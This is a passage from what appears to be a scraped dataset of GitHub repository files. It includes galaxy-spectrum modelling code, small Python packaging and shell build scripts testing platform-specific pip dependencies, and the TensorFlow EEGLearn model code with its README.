sl[i-13,1]))/(df*outputArray[i,0]*1.e9)) * ((10**26)/(Dl*Dl*4.*np.pi))\n if COlines != 'Rosenberg':\n # This method relies on many galaxies, documented in Kamenetzky\n # They use the unwieldy units of Laccent, which with a bit of effort can give the S_CO\n # The amplitude and the steepness are fitted in the paper, and simulated here.\n for i in range(13):\n # outputArray = StaceyValue * mult.factor * df_CII / df_CO * flux_density_CII\n Laccent = (Luminosity - slco[i,2] - outputArray[i,3]*slco[i,3])/(slco[i,0] + outputArray[i,2]*slco[i,1])\n outputArray[i,1] = (10**Laccent) *((1+z)*((115.*(i+1))**2))/((3.25e7)*(velocity)*(Dlmpc*Dlmpc))\n else:\n # From Rosenberg's paper, we extract the ratios in luminosity of each line, and then relate that to the CII luminosity\n # The variation is exactly that of the CII-line. The CII / CO (1-0) relation is from Stacey.\n # There is no scatter inside the CO-ladder\n for i in range(13):\n outputArray[i,1] = (1./4100.)*slco[i] * (outputArray[21,0] / outputArray[i,0]) * outputArray[21,1]\n if lines == 'Spinoglio':\n i = 24\n # NII_205 -> I need more data on how to calculate this property\n outputArray[24,1] = (2**outputArray[i,2]) * (lSun*(10**(1.05 * Luminosity - 4.747))/(df*outputArray[i,0]*1.e9)) * ((10**26)/(Dl*Dl*4.*np.pi))\n #\n outputArray[22,1] = 0.4 * outputArray[3,1]\n outputArray[23,1] = 0.3 * outputArray[6,1]\n if giveNames == 'Table':\n listOfSLs = ['CO (1-0)','CO (2-1)','CO (3-2)','CO (4-3)','CO (5-4)','CO (6-5)','CO (7-6)','CO (8-7)','CO (9 - 8)','CO (10 - 9)','CO (11-10)','CO (12 - 11)','CO (13-12)', 'SIII 33', 'SiII 35', 'OIII 52', 'NIII 57', 'OI 63', 'OIII 88', 'NII 122', 'OI 145', 'CII 158', 'CI 370', 'CI 610', 'NII 205']\n return outputArray,listOfSLs\n elif giveNames =='Tex':\n listOfSLs = 'CO (1 - 0) & CO (2 - 1) & CO (3 - 2) & CO (4 - 3) & CO (5 - 4) & CO (6 - 5) & CO (7 - 6) & CO (8 - 7) & CO (9 - 8) & CO (10 - 9) & CO (11 - 10) & CO (12 - 11) & CO (13 - 12) & SIII 33 & SiII 35 & OIII 52 & NIII 57 & OI 63 & OIII 88 & NII 122 & OI 145 & CII 158 & CI 370 & CI 610 & NII 205'\n return outputArray,listOfSLs\n else:\n return outputArray\n \ndef molecularlines(freqArray, spectrum, z):\n \"\"\"\n Parameters\n ----------\n freqArray : numpy array\n Frequency values of a blackbody spectrum.\n spectrum : numpy array\n Flux density of a blackbody spectrum at the frequencies from freqArray.\n z : float\n Redshift.\n\n Returns\n -------\n outputArray : numpy array\n Contains the frequencies of molecular lines in the first column and their amplitudes in the second column, scaled to match the blackbody flux.\n\n \"\"\"\n #setup output array\n outputArray = np.zeros([13,2])\n #data\n pathtable = Path(__file__).parent / \"coeff_Rangwala\"\n sl = np.genfromtxt(pathtable, dtype=np.float, delimiter=\",\", comments = '#', unpack = False)\n #frequencies are put into the output array\n outputArray[:,0] = sl[:,0]/(1+z)\n #amplitudes for the emission lines are scaled to BB*ratio\n for i in range(5):\n if freqArray[0]<=outputArray[i,0]<=freqArray[-1]:\n outputArray[i,1]=sl[i,1]*spectrum[np.argmin(abs(freqArray-outputArray[i,0]))]\n #amplitudes for the absorption lines are scaled to BB - BB*ratio\n for i in range(5,13):\n if freqArray[0]<=outputArray[i,0]<=freqArray[-1]:\n outputArray[i,1]=(1-sl[i,1])*spectrum[np.argmin(abs(freqArray-outputArray[i,0]))]\n return outputArray\n \n\ndef spectrum(luminosity,redshift,fLow=220,fHigh=440,numFreqBins = 1500,linewidth=300,COlines='Kamenetzky',lines='Bonato', mollines= 'True',variance=0,manualrescale = 'False', rescaleArray = []):\n \"\"\"\n Creates a galaxy spectrum consisting of a blackbody continuum and spectral\n lines. Keywords:\n luminosity: in units of log(L_fir [L_sol])\n redshift: z\n fLow, fHigh: minimum and maximum frequency that will be in the spectrum in \n units of GHz\n numFreqBins: amount of linearly spaced frequency bins at which the spectrum \n should be evaluated\n linewidth: width of spectral lines in units of km/s\n COlines: 'Kamenetzky' or 'Rosenberg' determines the amplitude of the \n CO lines, default is Kamenetzky\n lines: 'Bonato' or 'Spinoglio' determines the amplitude of the remaining \n spectral lines, default is \n mollines: 'True' or 'False'. Toggles whether molecularlines are shown\n variance: adds uncertainty to the amplitude of the atomic lines. Variation \n in molecular lines not implemented in the current version.\n manualrescale: sets whether the lines should be default ratios by \n Kamenetzky/Rosenberg and Bonato/Spinoglio, or set by user\n options: 'False' - default line amplitudes used\n 'Absolute' - numpy array of 25 line amplitudes in \n Jy additive to blackbody emission can \n be set in rescaleArray\n 'Relative' - numpy array of 25 scalars can be set \n in rescaleArray. The default ratios \n from Kamenetzky/Rosenberg are \n multiplied by these scalars prior \n to addition to the blackbody spectrum.\n rescaleArray: rescales the emission lines according to setting in \n 'manualrescale'. Order of the lines can be found using \n linenames()\n # Output: freqArray -> array frequencies in units of GHz\n # Output: spectrum -> array of the flux densities in the spectrum in units of Jy\n \"\"\"\n # Generate frequency array\n freqArray = np.linspace(fLow, fHigh, numFreqBins)\n\t# Create spectrum according to Bakx+2018\n spectrum = tomModel(freqArray*(1.e9),1,redshift,T_cold,T_hot,Ratio,Beta)\n\t# Normalize the flux to the given far-IR luminosity\n normLum = giveLuminosity(np.array([spectrum[0],spectrum[0]]),np.array([1,1]),((3.e8)/((1.e9)*np.array([freqArray[0],freqArray[0]]))),redshift,T_cold,T_hot,Ratio,Beta)\n spectrum = (10.**luminosity)*spectrum/normLum\n\t# Get frequencies and amplitudes of the spectral lines\n if mollines == 'True':\n B = np.zeros([38,2])\n B[:25,:] = Atomiclines(luminosity,redshift,variance,COlines,lines)[:,:2]\n B[25:,:] = molecularlines(freqArray, spectrum, redshift)\n elif mollines != 'False':\n print('Invalid keyword for mollines, assuming False')\n mollines = 'False'\n if mollines == 'False':\n B = Atomiclines(luminosity,redshift,variance,COlines,lines)\n #in the case of absolute rescaling, the amplitude is set to the user input\n if manualrescale == 'Absolute':\n for i in range(len(B)):\n specLine = gaus(freqArray,rescaleArray[i],B[i,0],B[i,0]*linewidth/(3.e5))\n if i<=30: spectrum += specLine #emission\n else: spectrum -= specLine #absorption\n #in the case of relative rescaling, the amplitude is the original value\n #multiplied by the user input\n elif manualrescale == 'Relative':\n for i in range(len(B)):\n specLine = gaus(freqArray,rescaleArray[i]*B[i,1]*(600/linewidth),B[i,0],B[i,0]*linewidth/(3.e5))\n if i<=30: spectrum += specLine #emission\n else: spectrum -= specLine #absorption\n #if no rescaling is set, the amplitude is the original value\n elif manualrescale != 'False':\n print('Invalid keyword for manualrescale. Assuming \\'False\\'')\n manualrescale = 'False'\n if manualrescale == 'False':\n for i in range(len(B)):\n specLine = gaus(freqArray,B[i,1]*(600/linewidth),B[i,0],B[i,0]*linewidth/(3.e5))\n if i<30: spectrum += specLine #emission\n else: spectrum -= specLine #absorption\n return freqArray,spectrum\n\ndef plotspectrum(freqArray, spectrumArray):\n \"\"\"\n Plots the spectra generated by spectrum(). Keywords:\n freqArray: array of frequencies in GHz\n spectrumArray: array of flux densities at the corresponding frequencies in Jy\n \"\"\"\n plt.figure()\n plt.plot(freqArray, spectrumArray)\n plt.grid()\n plt.xlabel('Frequency [GHz]')\n plt.ylabel('Flux density [Jy]')\n plt.xlim(np.min(freqArray), np.max(freqArray))\n plt.ylim(bottom=0)\n plt.show()\n \ndef linenames(mollines='True'):\n \"\"\"\n mollines: 'True' or 'False'. Toggles whether molecularlines are shown\n Returns the names of the spectral lines from spectrum() in order in a numpy array\n \"\"\"\n B, names= Atomiclines(12,1,0, giveNames = 'Table')\n if mollines == 'True':\n names.append('H2O211-202')\n names.append('H2O202-111')\n names.append('H2O312-303')\n names.append('H2O312-221')\n names.append('H2O321-312')\n names.append('CH+ (absorption)')\n names.append('OH+01 (absorption)')\n names.append('OH+22 (absorption)')\n names.append('OH+12 (absorption)')\n names.append('H2O111-000 (absorption)')\n names.append('H2O+32 (absorption)')\n names.append('H2O+21 (absorption)')\n names.append('HF (absorption)')\n return np.array(names)" } ]
4
wchargin/pip-platform-deps
https://github.com/wchargin/pip-platform-deps
782346981a7502e6b29ae59cf6cc571462e5c06a
2961d82b0854df73fd8035da1fe7268fb838b5da
417ff31ea46f827155c4e5e77686631481da3f95
refs/heads/master
2023-02-12T16:14:49.558141
2021-01-11T23:05:26
2021-01-11T23:05:26
328,814,021
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6566416025161743, "alphanum_fraction": 0.6716791987419128, "avg_line_length": 23.9375, "blob_id": "a27baaeb2b50f080b367325fefcc4a15d7cf3bd1", "content_id": "91e95864908802921d12bfb0eb9732ce0d35f111", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 399, "license_type": "no_license", "max_line_length": 64, "num_lines": 16, "path": "/dep-universal/setup.py", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "import setuptools\n\nimport wchargin_platform_dep4\n\n\nsetuptools.setup(\n name=\"wchargin_platform_dep4\",\n version=wchargin_platform_dep4.__version__.replace(\"-\", \"\"),\n description=\"Test for platform-specific deps with fallback\",\n author=\"William Chargin\",\n author_email=\"[email protected]\",\n packages=[\"wchargin_platform_dep4\"],\n install_requires=[],\n tests_require=[],\n license=\"Apache 2.0\",\n)\n" }, { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.6968325972557068, "avg_line_length": 23.55555534362793, "blob_id": "2c834c01e1b746d47b545f79b04cca73090877d3", "content_id": "ebce14a4d9ad07a200fe07ca1fc673eb56aa6ebf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 221, "license_type": "no_license", "max_line_length": 67, "num_lines": 9, "path": "/build.sh", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# build.sh [SETUPTOOLS_ARGS]: clean old stuff and build a wheel\n\nset -eux\npwd\nls\nrm -rf build dist *.egg-info\npython -c 'import sys; assert sys.version_info > (3,), sys.version'\npython setup.py bdist_wheel \"$@\"\n" }, { "alpha_fraction": 0.625668466091156, "alphanum_fraction": 0.6363636255264282, "avg_line_length": 32, "blob_id": "e61dfb1b3c3d054251a4a6ed0dd88053cfe33ffa", "content_id": "32defbd9eef67bdf23b2b328917a94807e66594f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 561, "license_type": "no_license", "max_line_length": 79, "num_lines": 17, "path": "/upgrade.sh", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# upgrade.sh 1 2: upgrade from wchargin_platform_*1 to wchargin_platform_*2\n\nset -eu\nold=\"$1\"\nnew=\"$2\"\nmv \"main/wchargin_platform_main$old\" \"main/wchargin_platform_main$new\"\nfor f in dep-*; do\n mv \"$f/wchargin_platform_dep$old\" \"$f/wchargin_platform_dep$new\"\ndone\nfind dep-* main \\\n \\( \\( -name build -o -name dist -o -name '*.egg-info' \\) -prune -false \\) \\\n -o -name '*.py' \\\n -exec sed -i \\\n -e \"s/wchargin_platform_dep$old/wchargin_platform_dep$new/g\" \\\n -e \"s/wchargin_platform_main$old/wchargin_platform_main$new/g\" \\\n {} +\n" }, { "alpha_fraction": 0.5397489666938782, "alphanum_fraction": 0.5648535490036011, "avg_line_length": 16.071428298950195, "blob_id": "2342ce0f1150545df7ef1a785673d4928ba55f0c", "content_id": "19e85b812aa8851ed68303a90e50968e27bd1a2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 239, "license_type": "no_license", "max_line_length": 47, "num_lines": 14, "path": "/main/wchargin_platform_main4/__init__.py", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "__version__ = \"0.1.0a0\"\n\n\ndef get():\n try:\n import wchargin_platform_dep4\n except ImportError:\n return \"universal\"\n else:\n return wchargin_platform_dep4.BUILT_FOR\n\n\nif __name__ == \"__main__\":\n print(get())\n" }, { "alpha_fraction": 0.4716981053352356, "alphanum_fraction": 0.6226415038108826, "avg_line_length": 16.66666603088379, "blob_id": "5f45168c2d1cf7fc53ae45f28a024fde03b6fdff", "content_id": "4dd04d9e12e9b5ddab38afa66ce058cdfa7f5da0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 53, "license_type": "no_license", "max_line_length": 27, "num_lines": 3, "path": "/dep-linux/wchargin_platform_dep4/__init__.py", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "__version__ = \"0.1.0a0\"\n\nBUILT_FOR = \"manylinux2010\"\n" }, { "alpha_fraction": 0.67405766248703, "alphanum_fraction": 0.6917960047721863, "avg_line_length": 27.1875, "blob_id": "b1694da31ab96eec8cc4e76783334d27126d1d16", "content_id": "3cb80d6830bb8f9cc88811fe895c77ac75cba48f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 451, "license_type": "no_license", "max_line_length": 65, "num_lines": 16, "path": "/main/setup.py", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "import setuptools\n\nimport wchargin_platform_main4\n\n\nsetuptools.setup(\n name=\"wchargin_platform_main4\",\n version=wchargin_platform_main4.__version__.replace(\"-\", \"\"),\n description=\"Test for platform-specific deps with fallback\",\n author=\"William Chargin\",\n author_email=\"[email protected]\",\n packages=[\"wchargin_platform_main4\"],\n install_requires=[\"wchargin_platform_dep4\"],\n tests_require=[\"wchargin_platform_dep4\"],\n license=\"Apache 2.0\",\n)\n" }, { "alpha_fraction": 0.5833333134651184, "alphanum_fraction": 0.6499999761581421, "avg_line_length": 19, "blob_id": "82ea213c06a6554064d09339c09846d213c80a0d", "content_id": "a0be17722af8abc1d67f86814400f5638e467cc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 60, "license_type": "no_license", "max_line_length": 34, "num_lines": 3, "path": "/dep-universal/wchargin_platform_dep4/__init__.py", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "__version__ = \"0.2.0a0\"\n\nBUILT_FOR = \"explicitly_universal\"\n" }, { "alpha_fraction": 0.4313725531101227, "alphanum_fraction": 0.5686274766921997, "avg_line_length": 16, "blob_id": "8b28d65948e21c05d12bf65c042abe35481074dd", "content_id": "c9a91a3f0152a28012e3b532894f74885fb9886d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 51, "license_type": "no_license", "max_line_length": 25, "num_lines": 3, "path": "/dep-macos/wchargin_platform_dep4/__init__.py", "repo_name": "wchargin/pip-platform-deps", "src_encoding": "UTF-8", "text": "__version__ = \"0.1.0a0\"\n\nBUILT_FOR = \"macosx_10_9\"\n" } ]
8
dans-acc/tf_EEGLearn
https://github.com/dans-acc/tf_EEGLearn
f74e515536976e75d3728e933076f1372b04d3dd
01c8210fe241d15e2dd7531224eddb5b2143b7fb
e3ed70da44a325c08b7a2f31f658b1408abcb05e
refs/heads/master
2022-11-30T09:07:41.847371
2020-07-26T19:14:35
2020-07-26T19:14:35
282,715,985
0
0
MIT
2020-07-26T19:10:05
2020-07-08T16:10:56
2019-08-08T15:06:32
null
[ { "alpha_fraction": 0.6775362491607666, "alphanum_fraction": 0.6884058117866516, "avg_line_length": 24.18181800842285, "blob_id": "e4f0c26914223bf03496b2fb7559bfd915a69b42", "content_id": "eb4ca2d52bef717ab60df2e1024ddf09680bb630", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 276, "license_type": "permissive", "max_line_length": 55, "num_lines": 11, "path": "/setup.py", "repo_name": "dans-acc/tf_EEGLearn", "src_encoding": "UTF-8", "text": "from distutils.core import setup\n\nsetup(\n name='tf_EEGLearn',\n version='1.11',\n packages=['EEGLearn'],\n url='https://github.com/YangWangsky/tf_EEGLearn',\n license='MIT License',\n author='YangWangsky',\n description='EEGLearn implemented using TensorFlow'\n)" }, { "alpha_fraction": 0.5598253011703491, "alphanum_fraction": 0.6427947878837585, "avg_line_length": 29.945945739746094, "blob_id": "2e0f824151921002062800214ffdcc1b8508d935", "content_id": "3d7c886091616ce1c2041fd240fa0cf9b7d3213f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1145, "license_type": "permissive", "max_line_length": 186, "num_lines": 37, "path": "/README.md", "repo_name": "dans-acc/tf_EEGLearn", "src_encoding": "UTF-8", "text": "\n# tf_EEGLearn\nAll implementations are not guaranteed to be correct, have not been checked by original authors, only reimplemented from the paper description and open source code from original authors.\n\n\n## Prerequisites\n\n- python >= 3.5\n- tensorflow-gpu >= 1.2\n - `conda install tensorflow-gpu=1.2`\n- Numpy\n- Scipy\n- Scikit-learn\n\n## EEGLearn\n\nIt's a tensorflow implementation for EEGLearn\n\n Bashivan, et al. \"Learning Representations from EEG with Deep Recurrent-Convolutional Neural Networks.\" International conference on learning representations (2016).\n http://arxiv.org/abs/1511.06448\n\nFor more information please see https://github.com/pbashivan/EEGLearn\n\n<center>\n\n![Diagram](./images/diagram.png 'Diagram.png')\n\n![AEP](./images/AEP.png 'AEP.png') \n</center>\n\n## Leave-one-subject-out Experments\n\n### Model: EEGLearn\n\n\n| Subject id | S0 | S1 | S2 | S3 | S4 | S5 | S6 | S7 | S8 | S9 | S10 | S11 | S12 | mean |\n|--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |--- |\n| CNN test acc | 55.14 | 73.58 | 93.47 | 100.00 | 100.00 | 99.50 | 99.48 | 100.00 | 98.57 | 100.00 | 98.62 | 72.25 | 49.55 | 87.70 |" }, { "alpha_fraction": 0.5845283269882202, "alphanum_fraction": 0.6201069951057434, "avg_line_length": 56.59375, "blob_id": "c2beb53f5a16150c193c4466b8319d7ad72d16ae", "content_id": "7d691a5ef040da2b4f5d6201919cd703d207176d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12911, "license_type": "permissive", "max_line_length": 160, "num_lines": 224, "path": "/EEGLearn/model.py", "repo_name": "dans-acc/tf_EEGLearn", "src_encoding": "UTF-8", "text": "##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n## Created by: Yang Wang\n## School of Automation, Huazhong University of Science & Technology (HUST)\n## [email protected]\n## Copyright (c) 2018\n##\n## This source code is licensed under the MIT-style license found in the\n## LICENSE file in the root directory of this source tree\n##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n#coding:utf-8\n\nimport tensorflow as tf\n\ndef my_conv2d(inputs, filters, kernel_size, strides=(1, 1), padding='same', activation=None, name=None, reuse=None):\n return tf.layers.conv2d(inputs=inputs, filters=filters, kernel_size=kernel_size, strides=strides, padding=padding, activation=activation,\n kernel_initializer=tf.truncated_normal_initializer(stddev=0.1), bias_initializer=tf.constant_initializer(0.1), name=name, reuse=reuse)\n \ndef build_cnn(input_image=None, image_size=32, n_colors=3, activation_function=tf.nn.relu, reuse=None, name='VGG_NET_CNN'):\n # VGG_NET 32 # [samples, W, H, colors]\n with tf.variable_scope(name, reuse=reuse): \n input_image = tf.reshape(input_image, shape=[-1, image_size, image_size, n_colors], name='Reshape_inputs')\n # layer_1 # 4个3*3*32\n \n h_conv1_1 = my_conv2d(input_image, filters=32, kernel_size=(3,3), activation=activation_function, name='conv1_1')\n h_conv1_2 = my_conv2d(h_conv1_1, filters=32, kernel_size=(3,3), activation=activation_function, name='conv1_2')\n h_conv1_3 = my_conv2d(h_conv1_2, filters=32, kernel_size=(3,3), activation=activation_function, name='conv1_3')\n h_conv1_4 = my_conv2d(h_conv1_3, filters=32, kernel_size=(3,3), activation=activation_function, name='conv1_4')\n h_pool1 = tf.layers.max_pooling2d(h_conv1_4, pool_size=(2,2), strides=(2,2), padding='same', name='max_pooling_1') # shape is (None, 16, 16, 32)\n\n # layer_2\n h_conv2_1 = my_conv2d(h_pool1, filters=64, kernel_size=(3,3), activation=activation_function, name='conv2_1')\n h_conv2_2 = my_conv2d(h_conv2_1, filters=64, kernel_size=(3,3), activation=activation_function, name='conv2_2')\n h_pool2 = tf.layers.max_pooling2d(h_conv2_2, pool_size=(2,2), strides=(2,2), padding='same', name='max_pooling_2') # shape is (None, 8, 8, 64)\n\n # layer_3\n h_conv3_1 = my_conv2d(h_pool2, filters=128, kernel_size=(3,3), activation=activation_function, name='conv3_1')\n h_pool3 = tf.layers.max_pooling2d(h_conv3_1, pool_size=(2,2), strides=(2,2), padding='same', name='max_pooling_3') # shape is (None, 4, 4, 128)\n\n return h_pool3\n\n\ndef build_convpool_max(input_image, nb_classes, image_size=32, n_colors=3, \n n_timewin=7, dropout_rate=0.5, name='CNN_Max', train=True, reuse=False):\n \"\"\"\n Builds the complete network with maxpooling layer in time.\n\n :param input_image: list of EEG images (one image per time window)\n :param nb_classes: number of classes\n :param image_size: size of the input image (assumes a square input)\n :param n_colors: number of color channels in the image\n :param n_timewin: number of time windows in the snippet\n :return: a pointer to the output of last layer\n \"\"\"\n with tf.name_scope(name):\n with tf.name_scope('Parallel_CNNs'):\n convnets = []\n # Build 7 parallel CNNs with shared weights\n for i in range(n_timewin):\n if i==0:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=reuse)\n else:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=True)\n convnets.append(convnet) # list contains [None, 4, 4, 128]\n convnets = tf.stack(convnets) # [n_timewin, nSamples, 4, 4, 128]\n convnets = tf.transpose(convnets, [1,0,2,3,4]) # [nSamples, n_timewin, 4, 4, 128]\n \n with tf.variable_scope('Max_pooling_over_flames'):\n # convpooling using Max pooling over frames\n convnets = tf.reshape(convnets, shape=[ -1, n_timewin, 4*4*128, 1])\n convpool = tf.nn.max_pool(convnets, # [nSamples, 1,4*4*128, 1]\n ksize=[1, n_timewin, 1, 1], strides=[1, 1, 1, 1], padding='VALID', name='convpool_max')\n \n\n convpool_flat = tf.reshape(convpool, [-1, 4*4*128])\n h_fc1_drop1 = tf.layers.dropout(convpool_flat, rate=dropout_rate, training=train, name='dropout_1')\n # input shape [batch, 4*4*128] output shape [batch, 512]\n h_fc1 = tf.layers.dense(h_fc1_drop1, 512, activation=tf.nn.relu, name='fc_relu_512')\n # dropout \n h_fc1_drop2 = tf.layers.dropout(h_fc1, rate=dropout_rate, training=train, name='dropout_2')\n # inputshape [batch, 512] output shape [batch, nb_classes] # the loss function contains the softmax activation\n prediction = tf.layers.dense(h_fc1_drop2, nb_classes, name='fc_softmax')\n \n return prediction\n\ndef build_convpool_conv1d(input_image, nb_classes, image_size=32, n_colors=3, \n n_timewin=7, dropout_rate=0.5, name='CNN_Conv1d', train=True, reuse=False):\n \"\"\"\n Builds the complete network with 1D-conv layer to integrate time from sequences of EEG images.\n\n :param input_image: list of EEG images (one image per time window)\n :param nb_classes: number of classes\n :param image_size: size of the input image (assumes a square input)S\n :param n_colors: number of color channels in the image\n :param n_timewin: number of time windows in the snippet\n :return: a pointer to the output of last layer\n \"\"\"\n with tf.name_scope(name):\n with tf.name_scope('Parallel_CNNs'):\n convnets = []\n # Build 7 parallel CNNs with shared weights\n for i in range(n_timewin):\n if i==0:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=reuse)\n else:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=True)\n convnets.append(convnet)\n convnets = tf.stack(convnets)\n convnets = tf.transpose(convnets, [1,0,2,3,4])\n\n with tf.variable_scope('Conv1d_over_flames'):\n convnets = tf.reshape(convnets, shape=[ -1, n_timewin, 4*4*128, 1])\n convpool = my_conv2d(convnets, filters=64, kernel_size=(3, 4*4*128), strides=(1, 1), padding='valid', activation=tf.nn.relu, name='convpool_conv1d')\n\n\n with tf.variable_scope('Output_layers'):\n convpool_flat = tf.reshape(convpool, [-1, (n_timewin-2)*64])\n h_fc1_drop1 = tf.layers.dropout(convpool_flat, rate=dropout_rate, training=train, name='dropout_1')\n h_fc1 = tf.layers.dense(h_fc1_drop1, 256, activation=tf.nn.relu, name='fc_relu_256')\n h_fc1_drop2 = tf.layers.dropout(h_fc1, rate=dropout_rate, training=train, name='dropout_2')\n prediction = tf.layers.dense(h_fc1_drop2, nb_classes, name='fc_softmax')\n \n return prediction\n\n\ndef build_convpool_lstm(input_image, nb_classes, grad_clip=110, image_size=32, n_colors=3, \n n_timewin=7, dropout_rate=0.5, num_units=128, batch_size=32, name='CNN_LSTM', train=True, reuse=False):\n \"\"\"\n Builds the complete network with LSTM layer to integrate time from sequences of EEG images.\n\n :param input_image: list of EEG images (one image per time window)\n :param nb_classes: number of classes\n :param grad_clip: the gradient messages are clipped to the given value during\n the backward pass.\n :param image_size: size of the input image (assumes a square input)\n :param n_colors: number of color channels in the image\n :param n_timewin: number of time windows in the snippet\n :param num_units: number of units in the LSTMCell\n :return: a pointer to the output of last layer\n \"\"\"\n with tf.name_scope(name):\n with tf.name_scope('Parallel_CNNs'):\n convnets = []\n # Build 7 parallel CNNs with shared weights\n for i in range(n_timewin):\n if i==0:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=reuse)\n else:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=True)\n convnets.append(convnet)\n convnets = tf.stack(convnets)\n convnets = tf.transpose(convnets, [1,0,2,3,4]) # 调换轴 shape: (nSamples, n_timewin, 4, 4, 128)\n\n with tf.variable_scope('LSTM_layer'):\n # (nSamples, n_timewin, 4, 4, 128) ==> (nSamples, n_timewin, 4*4*128)\n convnets = tf.reshape(convnets, shape=[-1, n_timewin, 4*4*128], name='Reshape_for_lstm')\n #lstm cell inputs:[batchs, time_steps, 4*4*128]\n with tf.variable_scope('LSTM_Cell'):\n lstm_cell = tf.contrib.rnn.BasicLSTMCell(num_units=num_units, forget_bias=1.0, state_is_tuple=True)\n outputs, final_state = tf.nn.dynamic_rnn(lstm_cell, convnets, dtype=tf.float32, time_major=False)\n # outputs.shape is (batch_size, time_steps, num_units)\n outputs = tf.transpose(outputs, [1,0,2]) # (time_steps, batch_size, num_units)\n outputs = outputs[-1]\n\n with tf.variable_scope('Output_layers'):\n h_fc1_drop1 = tf.layers.dropout(outputs, rate=dropout_rate, training=train, name='dropout_1')\n h_fc1 = tf.layers.dense(h_fc1_drop1, 256, activation=tf.nn.relu, name='fc_relu_256')\n h_fc1_drop2 = tf.layers.dropout(h_fc1, rate=dropout_rate, training=train, name='dropout_2')\n prediction = tf.layers.dense(h_fc1_drop2, nb_classes, name='fc_softmax')\n\n return prediction\n\n\ndef build_convpool_mix(input_image, nb_classes, grad_clip=110, image_size=32, n_colors=3, \n n_timewin=7, dropout_rate=0.5, num_units=128, batch_size=32, name='CNN_Mix', train=True, reuse=False):\n \"\"\"\n Builds the complete network with LSTM and 1D-conv layers combined\n\n :param input_image: list of EEG images (one image per time window)\n :param nb_classes: number of classes\n :param grad_clip: the gradient messages are clipped to the given value during\n the backward pass.\n :param imsize: size of the input image (assumes a square input)\n :param n_colors: number of color channels in the image\n :param n_timewin: number of time windows in the snippet\n :return: a pointer to the output of last layer\n \"\"\"\n with tf.name_scope(name):\n with tf.name_scope('Parallel_CNNs'):\n convnets = []\n # Build 7 parallel CNNs with shared weights\n for i in range(n_timewin):\n if i==0:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=reuse)\n else:\n convnet = build_cnn(input_image[i],image_size=image_size,n_colors=n_colors, reuse=True)\n convnets.append(convnet)\n convnets = tf.stack(convnets)\n convnets = tf.transpose(convnets, [1,0,2,3,4])\n\n with tf.variable_scope('Conv1d_over_flames'):\n convpool = tf.reshape(convnets, shape=[ -1, n_timewin, 4*4*128, 1])\n convpool = my_conv2d(convpool, filters=64, kernel_size=(3, 4*4*128), strides=(1, 1), padding='valid', activation=tf.nn.relu, name='convpool_conv1d')\n conv1d_out = tf.reshape(convpool, [-1, (n_timewin-2)*64])\n\n with tf.variable_scope('LSTM_layer'):\n # (nSamples, n_timewin, 4, 4, 128) ==> (nSamples, n_timewin, 4*4*128)\n convnets = tf.reshape(convnets, shape=[-1, n_timewin, 4*4*128], name='Reshape_for_lstm')\n #lstm cell inputs:[batchs, time_steps, 4*4*128]\n with tf.variable_scope('LSTM_Cell'):\n lstm_cell = tf.contrib.rnn.BasicLSTMCell(num_units=num_units, forget_bias=1.0, state_is_tuple=True)\n outputs, final_state = tf.nn.dynamic_rnn(lstm_cell, convnets, dtype=tf.float32, time_major=False)\n # outputs.shape is (batch_size, time_steps, num_units)\n outputs = tf.transpose(outputs, [1,0,2])\n lstm_out = outputs[-1]\n\n with tf.variable_scope('Output_layers'):\n dense_in = tf.concat((conv1d_out, lstm_out), axis=1, name='concat_conv1d_lstm') # shape [batch, (n_timewin-2)*64+num_units]\n h_fc1_drop1 = tf.layers.dropout(dense_in, rate=dropout_rate, training=train, name='dropout_1')\n h_fc1 = tf.layers.dense(h_fc1_drop1, 512, activation=tf.nn.relu, name='fc_relu_512')\n h_fc1_drop2 = tf.layers.dropout(h_fc1, rate=dropout_rate, training=train, name='dropout_2')\n prediction = tf.layers.dense(h_fc1_drop2, nb_classes, name='fc_softmax')\n\n return prediction\n" }, { "alpha_fraction": 0.56612229347229, "alphanum_fraction": 0.5851745009422302, "avg_line_length": 41.349151611328125, "blob_id": "c728cddf39ba805c24cbba0e7da722bf5f6889fc", "content_id": "33cb2b51dc4046521b71d63652dcc38529b1ed74", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12498, "license_type": "permissive", "max_line_length": 125, "num_lines": 295, "path": 